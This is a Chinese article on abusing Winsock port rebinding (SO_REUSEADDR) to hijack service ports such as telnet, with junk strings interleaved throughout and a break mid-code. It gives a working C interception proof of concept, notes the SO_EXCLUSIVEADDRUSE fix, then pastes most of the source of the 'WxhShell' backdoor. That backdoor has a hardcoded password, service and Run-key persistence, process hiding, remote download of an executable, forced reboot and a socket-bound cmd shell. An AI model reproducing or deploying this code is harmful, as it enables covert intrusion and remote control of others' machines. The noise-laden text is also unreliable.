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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: OX|/yw8 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |4X:>Ut] x*BfRj saddr.sin_family = AF_INET; rCYNdfdpp $vGl Z<3g saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1vl~[ a5Xr"- bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); QnaMjDh$6 fcJ#\-+E 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 cQ3Dk<GZ #ye++.7WK 这意味着什么?意味着可以进行如下的攻击: .o|Gk
5) UvQxtT] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {_^sR}%]F /=m=i%& # 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) : ]CZS a}jaxGy 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Sw'DS $D9JsUij 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ut-UTW G;fP 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f*oL8"?u& "28x-F+J 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jew?cnRmd dVO|q9 / 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 IWm|6@y .]v8W51Y #include l Fzb$k}_{ #include 0_"J>rMp #include uo 7AU3\ #include 8
A%)m DWORD WINAPI ClientThread(LPVOID lpParam); I"T_< int main() Fm [,u { DJrA@hm/Y WORD wVersionRequested; Rfa1v*( DWORD ret; mKxQU0 ` WSADATA wsaData; YEVH?`G BOOL val; -I4@` V SOCKADDR_IN saddr; \i`/k( SOCKADDR_IN scaddr; 'Ur$jW int err; gfih;i.pY SOCKET s; n!3_%K0!r& SOCKET sc; c1MALgK~}\ int caddsize; J,+|
Fb HANDLE mt; #G9S[J=xe DWORD tid; $+7MY-9T wVersionRequested = MAKEWORD( 2, 2 ); @Cw<wrem err = WSAStartup( wVersionRequested, &wsaData ); o1I{^7/ if ( err != 0 ) { NbG3^( printf("error!WSAStartup failed!\n"); ->K*r\T return -1; 'y;[
fwo7 } Qy@chN{eP saddr.sin_family = AF_INET; e-{k;V7b P"3{s+ r //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [gH
vI t55
' saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Q> @0'y=s saddr.sin_port = htons(23); ;t"#7\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9{xP~0g { uN6TV*]: printf("error!socket failed!\n"); HAN#_B1. return -1; S
G]e^%i } rf]]I#C7 val = TRUE; !:rQ@PSy9 //SO_REUSEADDR选项就是可以实现端口重绑定的 i(L;1 ` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d
t0?4 d { Ngh9+b6[ printf("error!setsockopt failed!\n"); HtmJIH: return -1; &W`yHQ"JY } !*+~R2&b //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <\2,7K{{+; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 EiIbp4*e //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,C(")?4aJ ZqS'xN:k if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C x$|7J=O { {$O.@#' ret=GetLastError(); zOWbdd_zl printf("error!bind failed!\n"); f }eZX return -1; :m^eNS6: } N;<<-`i listen(s,2); pmIQD" while(1) e!G
I< { C37KvLQ caddsize = sizeof(scaddr); f>-OwL($P //接受连接请求 QZt/Rm>W0 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kJHUaXM if(sc!=INVALID_SOCKET) b!<?,S { ,R ]]]7)+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); osPX%k!yw if(mt==NULL) &Q(Q/]U~ { @j5W4HU printf("Thread Creat Failed!\n"); :}e*3={4 break; Aj SIM. } GT<Y]Dk } ;:8_H0X'K CloseHandle(mt); 2O`uzT$ } mY#[D;mUe closesocket(s); HQ ^> ~ WSACleanup(); qRTxg% return 0; Qh%7RGh_ } uTBls8 DWORD WINAPI ClientThread(LPVOID lpParam) o @~XX@5l { =>4>Z_q SOCKET ss = (SOCKET)lpParam; V,*YM SOCKET sc; ]^/:Xsk$ unsigned char buf[4096]; 2,E&}a|;b SOCKADDR_IN saddr; -:*PXu long num; l4|bpR Cp DWORD val; Yf7n0Etd, DWORD ret; W^60BZ //如果是隐藏端口应用的话,可以在此处加一些判断 9%>H}7= //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 gO gZ saddr.sin_family = AF_INET; r-H~MisL saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z\6azhbI} saddr.sin_port = htons(23); P/,7CfyPd if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
P\*-n" { ofj7$se printf("error!socket failed!\n"); V.: a6>] return -1; !94&Uk(O } it D%sKo val = 100; (
y'i{:B if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UN_lK<utF { el;^cMY ret = GetLastError(); 2RT9Q!BX{ return -1; NnGQ=$e } J<>z}L{ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wvp\'* $ { M5: f^ ret = GetLastError(); !M)! return -1; 0{gvd"q } L7wl3zG if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FOM~Uj { Xi4!7IOmo printf("error!socket connect failed!\n"); `a3q)}*Y closesocket(sc); (GMKIw2 closesocket(ss); ^qIp+[/' return -1; %0Ulh6g;Dt } V7[Dvg:W while(1) I&q:w\\z8| { DN&ZRA //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zi:GvTG //如果是嗅探内容的话,可以再此处进行内容分析和记录 7h&$^ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /FkLZm num = recv(ss,buf,4096,0); i>7f9D7 if(num>0) N+"Y@X yg send(sc,buf,num,0); 4+$<G /K else if(num==0) {5#P1jlT break; 8rGW G num = recv(sc,buf,4096,0); (X)$8y if(num>0) y~SFlv36 send(ss,buf,num,0); (W5E\hjJ else if(num==0) x98LOO break; &oWWc$ } *O)_D
bj closesocket(ss); 6pLB`1[v closesocket(sc); HvKueTQ return 0 ; l(v$+ } GH7{_@pv8 83412@& PJAE~|a ========================================================== @1*lmFq'kV h:z;b; 下边附上一个代码,,WXhSHELL Q= + Frsk vk5pnCM^3 ========================================================== PUltn}M n{r+t=X #include "stdafx.h" Zj<oh8 W ;P1T"*A #include <stdio.h> T9t9]) #include <string.h> } <2F]UuR #include <windows.h> Jtd@8fVi #include <winsock2.h> YUT"A{L #include <winsvc.h> mIFS/C #include <urlmon.h> T5 5l-.> hX`WVVoF #pragma comment (lib, "Ws2_32.lib") 6N~ jt #pragma comment (lib, "urlmon.lib") Gxi;h=J2)> @tEVgyN #define MAX_USER 100 // 最大客户端连接数 Wq<>a;m #define BUF_SOCK 200 // sock buffer thipfS #define KEY_BUFF 255 // 输入 buffer O.&6J/ 7 z<!2 #define REBOOT 0 // 重启 2}$Vi$
R #define SHUTDOWN 1 // 关机 ^nbze +GP"9S2%R #define DEF_PORT 5000 // 监听端口 :{_Or'L k5!k3yI #define REG_LEN 16 // 注册表键长度 kgr:85 #define SVC_LEN 80 // NT服务名长度 &0(2Z^Z>fw h,FP,w;G // 从dll定义API d2.n^Q"?3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AU87cqq typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B|:{.U@ne typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1yX&iO^d typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T2Y`q' %(6f // wxhshell配置信息 )@R:$l86 struct WSCFG { ~gI%
int ws_port; // 监听端口 .8b4 char ws_passstr[REG_LEN]; // 口令 ^ /
f*5k int ws_autoins; // 安装标记, 1=yes 0=no }s}9@kl;& char ws_regname[REG_LEN]; // 注册表键名 1 _5[5K^ char ws_svcname[REG_LEN]; // 服务名 B{)Du
:) char ws_svcdisp[SVC_LEN]; // 服务显示名 *zX<`E char ws_svcdesc[SVC_LEN]; // 服务描述信息 wTIf#y1=9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }-r"W7]k int ws_downexe; // 下载执行标记, 1=yes 0=no OR?8F5o?p char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ~@'|R%jJ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z:T4Z}4N Z
NCq/ }; p-*BB_J" 1+y&n? // default Wxhshell configuration _F@FcFG1Z* struct WSCFG wscfg={DEF_PORT, QO#ZQ~ "xuhuanlingzhe", @Cz1rKU^l 1, i3e|j(Gs4 "Wxhshell", l_,8_u7G "Wxhshell", ;H:qDBH "WxhShell Service", "Ww^?"jQ) "Wrsky Windows CmdShell Service", t:M>&r:BL "Please Input Your Password: ", f^$\+H"W 1,
KpwUp5K " http://www.wrsky.com/wxhshell.exe", \2NiI]t] "Wxhshell.exe" PY>j?otD }; D(h|r^5 ?nt6vqaV // 消息定义模块 w~Y#[GW char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 57[O)5u.+ char *msg_ws_prompt="\n\r? for help\n\r#>"; !. 0W?6yo char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; )3G?5
OTS char *msg_ws_ext="\n\rExit."; |#-Oz#Eg' char *msg_ws_end="\n\rQuit."; ?C $_?Qi char *msg_ws_boot="\n\rReboot..."; B"Fg`s+]U char *msg_ws_poff="\n\rShutdown..."; n"dT^
g char *msg_ws_down="\n\rSave to "; |=h>3Z=r! 0f-gQD char *msg_ws_err="\n\rErr!"; ,%,}[q?]d char *msg_ws_ok="\n\rOK!"; O]~p)E ")sq?1?X char ExeFile[MAX_PATH]; OKf/[hyu int nUser = 0; F'*{Fk
h HANDLE handles[MAX_USER]; E3gQ`+wNg? int OsIsNt; fq F1-% D!@c,H SERVICE_STATUS serviceStatus; L3kms6ch SERVICE_STATUS_HANDLE hServiceStatusHandle; F`38sq wEkW= // 函数声明 Gm6^BYCk int Install(void); 7vHU49DV int Uninstall(void); L~0B int DownloadFile(char *sURL, SOCKET wsh); }2h~o~ int Boot(int flag);
c^=,@# void HideProc(void); 6~2!ZU int GetOsVer(void); TI*uNS;- int Wxhshell(SOCKET wsl); rsc8lSjH void TalkWithClient(void *cs); s\ ~r
8 int CmdShell(SOCKET sock); "urQUpF int StartFromService(void); : 0%V:B int StartWxhshell(LPSTR lpCmdLine); (>Tu~Vo 3-Ti'xM VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UCq+F96j VOID WINAPI NTServiceHandler( DWORD fdwControl ); QzV:^!0J qvab>U` // 数据结构和表定义 0&w.QoZY( SERVICE_TABLE_ENTRY DispatchTable[] = M<)HJ lr { $MP'j9-S? {wscfg.ws_svcname, NTServiceMain}, l$zM|Z1wR` {NULL, NULL} "4ovMan }; bx5X8D /O&j1g@ // 自我安装 Y=Bk;%yT= int Install(void) IJs`3? { .=K@M"5& char svExeFile[MAX_PATH]; FfP Ce5) HKEY key; Bh@j6fv strcpy(svExeFile,ExeFile); m+V'*[O{ Z!ub`coV[ // 如果是win9x系统,修改注册表设为自启动 JA1(yt if(!OsIsNt) { R[Pyrs!H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VV?KJz=,W= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -,p(PK RegCloseKey(key); QPdhesrd- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r0hu?3u1? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N|8TE7- F| RegCloseKey(key); b^FB[tZ\x return 0; CxwZ$0 } 7zy6`OP } k+%6:r,r& } 9r8*'.K`Z else { Oi=kL{DG:s friNo^v& // 如果是NT以上系统,安装为系统服务 q(_pk&/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n Hy| if (schSCManager!=0) / 1g_Uv; { 6x6PP}IX SC_HANDLE schService = CreateService .3!=]= ( P b2exS( schSCManager, <{7B ^' wscfg.ws_svcname, :X/j%m* wscfg.ws_svcdisp, }<A\> SERVICE_ALL_ACCESS, l *.#g SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =A04E SERVICE_AUTO_START, Wu9@Ecb SERVICE_ERROR_NORMAL, PJS\> N&u svExeFile,
x.~Z9j NULL, t%V!SvT8+ NULL, GR Rv0M NULL, Z6A*9m NULL, mKQ!@$* NULL F3i+t+Jt ); !z$.Jcr1 if (schService!=0) CsJw;]dYI { OT&J OTk\ CloseServiceHandle(schService); YrL:!\p. CloseServiceHandle(schSCManager); seB ^o} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8|OsVIe% strcat(svExeFile,wscfg.ws_svcname); ;1A4p`) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8:|F'{<<b RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V*2uW2\} RegCloseKey(key); X@2[!%nm return 0; lqTTTk } B{PI&a9~s% } :]v%6i. CloseServiceHandle(schSCManager); B#N(PvtE } @~qlSU& } GBFYa6\4sT q
okgu$2 return 1; 3Gubq4r } D4$;jz,, FO&U{(Q // 自我卸载 MuQyHEDF int Uninstall(void) yIC8Rl { ?~Fk_#jz,@ HKEY key; Zui2O-L?V 3&^4%S{/ if(!OsIsNt) { `lX |yy" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AK]{^Hvz RegDeleteValue(key,wscfg.ws_regname); 7F!_gj p RegCloseKey(key); FctqE/>}I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w]J9Kv1)- RegDeleteValue(key,wscfg.ws_regname); ,]+P#eXgE RegCloseKey(key); k7z;^: return 0; R @N
I } jCa%(2~iQ7 } a;WRTV } B2w\ else { .$pW?C 3e 8QDs4Bv| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {7.."@Ob<v if (schSCManager!=0) WvQK$}Ax4N { j6]+fo&3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e[.c^Hw if (schService!=0) aw&:$twbM { :vZ8n6J[ if(DeleteService(schService)!=0) { FR&4i" + CloseServiceHandle(schService); ,:Qy%k}f CloseServiceHandle(schSCManager); ACm9H9:Vd return 0; 6A&e2K> A
} `?r]OVe{y CloseServiceHandle(schService); $<cio
X } yr?*{; CloseServiceHandle(schSCManager); (hWr!(>C4] } J/X{
Y2f } a$H*C(wL F9@,T8I return 1; RZ 4xR } `B'*ln'r5 uTTM%-DMHT // 从指定url下载文件 8|*#r[x int DownloadFile(char *sURL, SOCKET wsh) |W4
\ { E^B*:w3 HRESULT hr; ^wN x5t char seps[]= "/"; 3
r4QB char *token; 7ADh char *file; M0VC-\W7f char myURL[MAX_PATH]; '?7th>pC char myFILE[MAX_PATH]; 3jR,lEJyj v|uY\Z strcpy(myURL,sURL); f0H
5 )DJf token=strtok(myURL,seps); ?|!167/O while(token!=NULL) Q M7z
. { x}Qet4vV file=token; 2c:H0O
0o token=strtok(NULL,seps); NJK?5{H' } juOOD $Gt1T[:QUX GetCurrentDirectory(MAX_PATH,myFILE); BM PLL2I strcat(myFILE, "\\"); SxV(.i' strcat(myFILE, file); .
+_IpygQ send(wsh,myFILE,strlen(myFILE),0); )P4#P2 send(wsh,"...",3,0); ~um+r],@@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L$zI_
z if(hr==S_OK) Bfhw0v]Z return 0; k<W n else kcT?<r return 1; 8qwc]f$.w &X0/7)*"v } _|%pe]St q@ !p // 系统电源模块 yH_L<n int Boot(int flag) o%#Z
{ `L0aQ$'>z HANDLE hToken; [?TQ!l} 8A TOKEN_PRIVILEGES tkp; T8Sgu6:*R N{Og; roGD if(OsIsNt) { A6w/X`([O OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -f?Rr:# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); il^SGH tkp.PrivilegeCount = 1; pKK&+umg tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; etF?,^)h=g AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `K[:<p} if(flag==REBOOT) { EN@LB2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /_~b~3{u return 0; #sit8k`GR8 } KLBV(`MS else { QrDrdA if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) js
)G return 0; ?#]K54? } t!^FWr& } $hB;r else { M52kau if(flag==REBOOT) { o:C:obiQbu if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I%xrDiK97 return 0; <x@\3{{U } X70 vDoW else { Q6?+# } if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Z4'"* return 0; .FK'TG } M"F?'zTkJ } *|AnL}GJ %o<&O(Y return 1; QQ@, v@j5 } l/OG79qq ;}IF'ANA // win9x进程隐藏模块 ]OY6.m void HideProc(void) +AyQ4Q(-o { &:L8; m r5[om$|* HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'ntb.S) if ( hKernel != NULL ) aq"E@fb { h./cs'& pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !Dkz6B* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y<PPO6u7 FreeLibrary(hKernel); 93fKv } ,: w~- IC[SJVH; return; +`f gn9p } .^#{rk @&+h3dV.V // 获取操作系统版本 =pWpHbB. int GetOsVer(void) _wM[U`H}s { R2Tvo?xI7 OSVERSIONINFO winfo; bXq,iX winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y5a^xRDw GetVersionEx(&winfo); _1y|#o if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G+[>or} return 1; hl}#bZ8] else *sJx0<!M} return 0; ^.kas7< } B>X+eK Vu`dEvL? // 客户端句柄模块 l[G,sq" int Wxhshell(SOCKET wsl) 2!68W
X { AG}'
W SOCKET wsh; Z+t?ah00 struct sockaddr_in client;
4EB$e? DWORD myID; l$m^{6IYc |&n dQ(!l while(nUser<MAX_USER) =q
xcM+OX1 { .e.vh:Sz int nSize=sizeof(client); ~ezCE4^& wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -<z'f){gb if(wsh==INVALID_SOCKET) return 1; " "a+Nc D{BH~IM handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rLL;NTN+/ if(handles[nUser]==0) ]v_xEH}T closesocket(wsh); MW*}+ PCY else iXl1S[.l nUser++; DA@
{ d-A } [&3"kb WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NlcWnSv ,7%(Jj$
^ return 0; ;o^m"I\y } G#@<bg3 ;k/0N~ // 关闭 socket ^;@Bz~Z void CloseIt(SOCKET wsh) '3hvR4P { ^ *
DKF closesocket(wsh); :+Dn]:\ nUser--; KAsS= ` ExitThread(0); KMbBow3o*~ } GUN<ZOYb= *"zE,Bp" // 客户端请求句柄
iI
^{OD void TalkWithClient(void *cs) (/*-M]> { _4E+7+ t&r?O dc&m SOCKET wsh=(SOCKET)cs; |um)vlN;9 char pwd[SVC_LEN];
vN4X%^:( char cmd[KEY_BUFF]; 7gQt
k char chr[1]; r1?LKoJOn int i,j; aO<d`DTyJ nAts.pVy" while (nUser < MAX_USER) { V|a59[y? 9h0|^ttF if(wscfg.ws_passstr) { > %Y#(_~a if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nQ~q-=,L //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uwQ4RYz //ZeroMemory(pwd,KEY_BUFF); ,MvvW{EY i=0; MPL2#YU/a while(i<SVC_LEN) { 1}ToR= [e^i". // 设置超时 ;N1FP* fd_set FdRead; k2+Z7#2n struct timeval TimeOut; }<Me%`x" FD_ZERO(&FdRead); m",bfZ FD_SET(wsh,&FdRead);
?5GjH~ TimeOut.tv_sec=8; *@BBlkcx TimeOut.tv_usec=0; *v5y]E%aW int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a9qZI if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g)p[A 4 %##9.Xm6l if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1^W Aps pwd =chr[0]; Bkz if(chr[0]==0xd || chr[0]==0xa) { JGdBpj: pwd=0; 9a4RW}S< break; x)Th2es\ } @%fkW"y: i++; <'vM+Lk } \Fe5<G'v zO\"$8q* // 如果是非法用户,关闭 socket X0P$r6 ; if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PCIC*!{ } LnyA 5T :8QG$Ua1 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H{ $ yy)@F send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "1nd~
BBOw j68Gz5;j while(1) { hs*:!&E
{Y/ ZeroMemory(cmd,KEY_BUFF); 02+^rqIx5 r-0
7!A // 自动支持客户端 telnet标准 1%:A9%O)t j=0; gSv<.fD" while(j<KEY_BUFF) { $N
]P#g?Q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0ib 6}L% cmd[j]=chr[0]; Pb`sn5; if(chr[0]==0xa || chr[0]==0xd) { #,9|Hr% cmd[j]=0; bQ4 }no0 break; a&cV@~ } w##Fpv<m j++; (#,.;Y } v|'N|k l {38aaf|'/ // 下载文件 (l^lS=x if(strstr(cmd,"http://")) { z&:[.B send(wsh,msg_ws_down,strlen(msg_ws_down),0); u,]yd* if(DownloadFile(cmd,wsh)) df)1}/*L send(wsh,msg_ws_err,strlen(msg_ws_err),0); gbh:Y}_FU else EtcamI*` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZN1p>+oY! } NR [VGZj else { hPH7(f|c{g GJ$,@ switch(cmd[0]) { g-s@m}[T V:+bq` // 帮助 0CR;t`M@ case '?': { ;|%r!!#-t send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zJy{Ry[Sb break; %)e+w+ } *~"`&rM( // 安装 &ar}6eO case 'i': { .`p_vS9 if(Install()) oF^B J8%Lm send(wsh,msg_ws_err,strlen(msg_ws_err),0); g:)vthOs else +Oscy-; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
1W8W/Y=hT break; O^:h _L } 2=|IOkY // 卸载 GwV FD% case 'r': { @W,Y_8: if(Uninstall()) IY:O? M send(wsh,msg_ws_err,strlen(msg_ws_err),0); M}<=~/k`j else +u2Co_FJ& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ; n@C(hG break; h.^DRR^S } mc=*wr$ // 显示 wxhshell 所在路径 buFtLPe case 'p': { /%c^ i!=f" char svExeFile[MAX_PATH]; +NY4j-O strcpy(svExeFile,"\n\r"); ]3,0
8JW= strcat(svExeFile,ExeFile); 0_EF7`T send(wsh,svExeFile,strlen(svExeFile),0); f#t^<`7 break; xRUYJ=|oh } @rMW_7[y // 重启 9|`@czw case 'b': { #jJcgR< send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YMd&+J` if(Boot(REBOOT)) 1sJN^BvuG send(wsh,msg_ws_err,strlen(msg_ws_err),0); lN'/Z&62 else { ""d>f4,S closesocket(wsh); a3 x~B=E ExitThread(0); e2fct|' } B@=<'/S\7 break; AIyv;}5 } E-D5iiF // 关机 Uk9g^\H<D case 'd': { GP$Y4*y/ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B,>Fh X>h if(Boot(SHUTDOWN)) -Tx tX8v send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mvv=)?: else { u^9c` closesocket(wsh); w!RH*S ExitThread(0); ^IH1@ } qrc/Q;$ break; VZoOdR:d } }v,THj // 获取shell bEKLameKv case 's': { ^j %UZ CmdShell(wsh); H~i],WD closesocket(wsh); 81cmG`G7 ExitThread(0); M<unQ1+wh break; JWL J<z } -/%jeDKp // 退出 Jf$wBPg case 'x': { jVIpbG44 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gpWS_Dw9 CloseIt(wsh); [R> break; ][nUPl } P{eRDQ= // 离开 ;l ()3; case 'q': { oDUMoX%4s send(wsh,msg_ws_end,strlen(msg_ws_end),0); GJs[m~`8# closesocket(wsh); c!Vc_@V, WSACleanup(); J36@Pf]h exit(1); S(i(1Hs. break; b<AE}UK } Ba0D"2CgY } yXx62J } 2hJ3m+N^ , ~xU>L^ // 提示信息 "}p?pF<'0 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); --`LP[ll } |:+pPh!- } 3SDWR@x& D~Ohw sL4 return; %k
#Nu } "v!HKnDT v6?\65w,| // shell模块句柄 m1i+{(( int CmdShell(SOCKET sock) ukf\* { ]a#]3(o]} STARTUPINFO si; ,jsx]U/^ ZeroMemory(&si,sizeof(si)); Z(mn
U;9{v si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O^weUpe\ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YO$b# PROCESS_INFORMATION ProcessInfo; @ ^cgq3H' char cmdline[]="cmd"; [;?{BB CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )]>
'7] i return 0; b^DV9mO4J } BJxmW's/ &W+G{W{3 // 自身启动模式 G!Oq>7 int StartFromService(void) hX| UE { V)QR!4De typedef struct |~LjH |*M { BC{J3<0bf@ DWORD ExitStatus; 8/?uU]#Q DWORD PebBaseAddress; l=~99mE DWORD AffinityMask; F>kn:I"X) DWORD BasePriority; +1jqCW ULONG UniqueProcessId; AJlIA[Kt: ULONG InheritedFromUniqueProcessId; k`mrRs } PROCESS_BASIC_INFORMATION; efkie} n3g
WMC PROCNTQSIP NtQueryInformationProcess; lkWeQ)V ((>3,%B` static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vKf;&`^qE static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R
4QwWSBJ W#7-%oT HANDLE hProcess; ,
